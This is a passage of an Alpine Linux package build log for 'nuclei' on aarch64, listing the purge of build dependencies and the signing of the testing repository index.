(1.11.0-r0) ( 41/160) Purging xkeyboard-config (2.45-r0) ( 42/160) Purging libxmu (1.2.1-r0) ( 43/160) Purging libxrandr (1.5.4-r1) ( 44/160) Purging libxslt (1.1.43-r3) ( 45/160) Purging libxt (1.3.1-r0) ( 46/160) Purging libxtst (1.2.5-r0) ( 47/160) Purging libzmq (4.3.5-r2) ( 48/160) Purging mbedtls (3.6.4-r0) ( 49/160) Purging mesa-gbm (25.2.1-r0) ( 50/160) Purging mesa (25.2.1-r0) ( 51/160) Purging minizip (1.3.1-r0) ( 52/160) Purging nss (3.115.1-r0) ( 53/160) Purging openh264 (2.6.0-r0) ( 54/160) Purging orc (0.4.41-r0) ( 55/160) Purging pango (1.56.4-r0) ( 56/160) Purging pipewire-libs (1.4.7-r0) ( 57/160) Purging roc-toolkit-libs (0.4.0-r1) ( 58/160) Purging simdutf (7.3.6-r0) ( 59/160) Purging speexdsp (1.2.1-r2) ( 60/160) Purging spirv-tools (1.4.321.0-r0) ( 61/160) Purging sqlite-libs (3.50.4-r1) ( 62/160) Purging tdb-libs (1.4.13-r0) ( 63/160) Purging tiff (4.7.0-r2) ( 64/160) Purging wayland-libs-cursor (1.24.0-r0) ( 65/160) Purging wayland-libs-egl (1.24.0-r0) ( 66/160) Purging webrtc-audio-processing-2 (2.1-r0) ( 67/160) Purging abseil-cpp-strings (20240722.1-r2) ( 68/160) Purging abseil-cpp-strings-internal (20240722.1-r2) ( 69/160) Purging abseil-cpp-raw-logging-internal (20240722.1-r2) ( 70/160) Purging libsndfile (1.2.2-r2) ( 71/160) Purging alsa-lib (1.2.14-r1) ( 72/160) Purging ffmpeg-libavcodec (6.1.2-r5) ( 73/160) Purging aom-libs (3.12.1-r0) ( 74/160) Purging at-spi2-core-libs (2.56.4-r1) ( 75/160) Purging avahi-libs (0.8-r22) ( 76/160) Purging cairo (1.18.4-r0) ( 77/160) Purging dbus-libs (1.16.2-r1) ( 78/160) Purging libcamera-ipa (0.5.2-r0) ( 79/160) Purging libcamera (0.5.2-r0) ( 80/160) Purging eudev-libs (3.2.14-r5) ( 81/160) Purging ffmpeg-libswresample (6.1.2-r5) ( 82/160) Purging ffmpeg-libavutil (6.1.2-r5) ( 83/160) Purging libxft (2.3.9-r0) ( 84/160) Purging fontconfig (2.17.1-r0) ( 85/160) Purging harfbuzz (11.3.2-r0) ( 86/160) Purging freetype (2.13.3-r0) ( 87/160) Purging fribidi (1.0.16-r1) ( 88/160) Purging libatk-1.0 (2.56.4-r1) ( 89/160) Purging glib (2.84.4-r0) ( 90/160) Purging gnutls (3.8.8-r0) ( 91/160) Purging graphite2 (1.3.14-r6) ( 92/160) Purging libva (2.22.0-r1) ( 93/160) Purging libdrm (2.4.125-r0) ( 94/160) Purging libpciaccess (0.18.1-r1) ( 95/160) Purging hwdata-pci (0.398-r0) ( 96/160) Purging lame-libs (3.100-r5) ( 97/160) Purging libjxl (0.11.1-r0) ( 98/160) Purging lcms2 (2.16-r0) ( 99/160) Purging libasyncns (0.8-r4) (100/160) Purging libmount (2.41.1-r1) (101/160) Purging libblkid (2.41.1-r1) (102/160) Purging libxi (1.8.2-r0) (103/160) Purging libvdpau (1.5-r4) (104/160) Purging libxext (1.3.6-r2) (105/160) Purging libxrender (0.9.12-r0) (106/160) Purging libxfixes (6.0.1-r4) (107/160) Purging libx11 (1.8.12-r0) (108/160) Purging libxcb (1.17.0-r0) (109/160) Purging libxdmcp (1.1.5-r1) (110/160) Purging libbsd (0.12.2-r0) (111/160) Purging libbz2 (1.0.8-r6) (112/160) Purging libdav1d (1.5.1-r0) (113/160) Purging libeconf (0.7.10-r0) (114/160) Purging libelf (0.193-r0) (115/160) Purging llvm20-libs (20.1.8-r0) (116/160) Purging wayland-libs-client (1.24.0-r0) (117/160) Purging p11-kit (0.25.5-r2) (118/160) Purging libffi (3.5.2-r0) (119/160) Purging libflac (1.4.3-r2) (120/160) Purging libsm (1.2.6-r0) (121/160) Purging libice (1.1.2-r0) (122/160) Purging libjpeg-turbo (3.1.1-r0) (123/160) Purging libltdl (2.5.4-r1) (124/160) Purging libmd (1.1.0-r0) (125/160) Purging libtheora (1.1.1-r18) (126/160) Purging libvorbis (1.3.7-r2) (127/160) Purging libogg (1.3.6-r0) (128/160) Purging libpisp (1.2.0-r0) (129/160) Purging libpng (1.6.49-r0) (130/160) Purging libwebpmux (1.6.0-r0) (131/160) Purging libwebp (1.6.0-r0) (132/160) Purging libsharpyuv (1.6.0-r0) (133/160) Purging libsodium (1.0.20-r0) (134/160) Purging libSvtAv1Enc (2.3.0-r0) (135/160) Purging libtasn1 (4.20.0-r0) (136/160) Purging libunwind (1.8.1-r0) (137/160) Purging libuuid (2.41.1-r1) (138/160) Purging libuv (1.51.0-r0) (139/160) Purging libvpx (1.15.1-r1) (140/160) Purging libxau (1.0.12-r0) (141/160) Purging libxml2 (2.13.8-r0) (142/160) Purging libxshmfence (1.3.3-r0) (143/160) Purging lilv-libs (0.24.26-r0) (144/160) Purging mpg123-libs (1.33.1-r0) (145/160) Purging nettle (3.10.2-r0) (146/160) Purging nspr (4.36-r0) (147/160) Purging x265-libs (3.6-r0) (148/160) Purging numactl (2.0.18-r0) (149/160) Purging opus (1.5.2-r1) (150/160) Purging pixman (0.46.4-r0) (151/160) Purging rav1e-libs (0.8.1-r0) (152/160) Purging sratom (0.6.18-r0) (153/160) Purging sord-libs (0.16.18-r0) (154/160) Purging serd-libs (0.32.4-r0) (155/160) Purging soxr (0.1.3-r7) (156/160) Purging x264-libs (0.164.3108-r0) (157/160) Purging xvidcore (1.3.7-r2) (158/160) Purging xz-libs (5.8.1-r0) (159/160) Purging yaml (0.2.5-r2) (160/160) Purging zix-libs (0.6.2-r0) busybox-1.37.0-r22.trigger: Executing script... OK: 432 MiB in 108 packages >>> nuclei: Updating the testing/aarch64 repository index... >>> nuclei: Signing the index...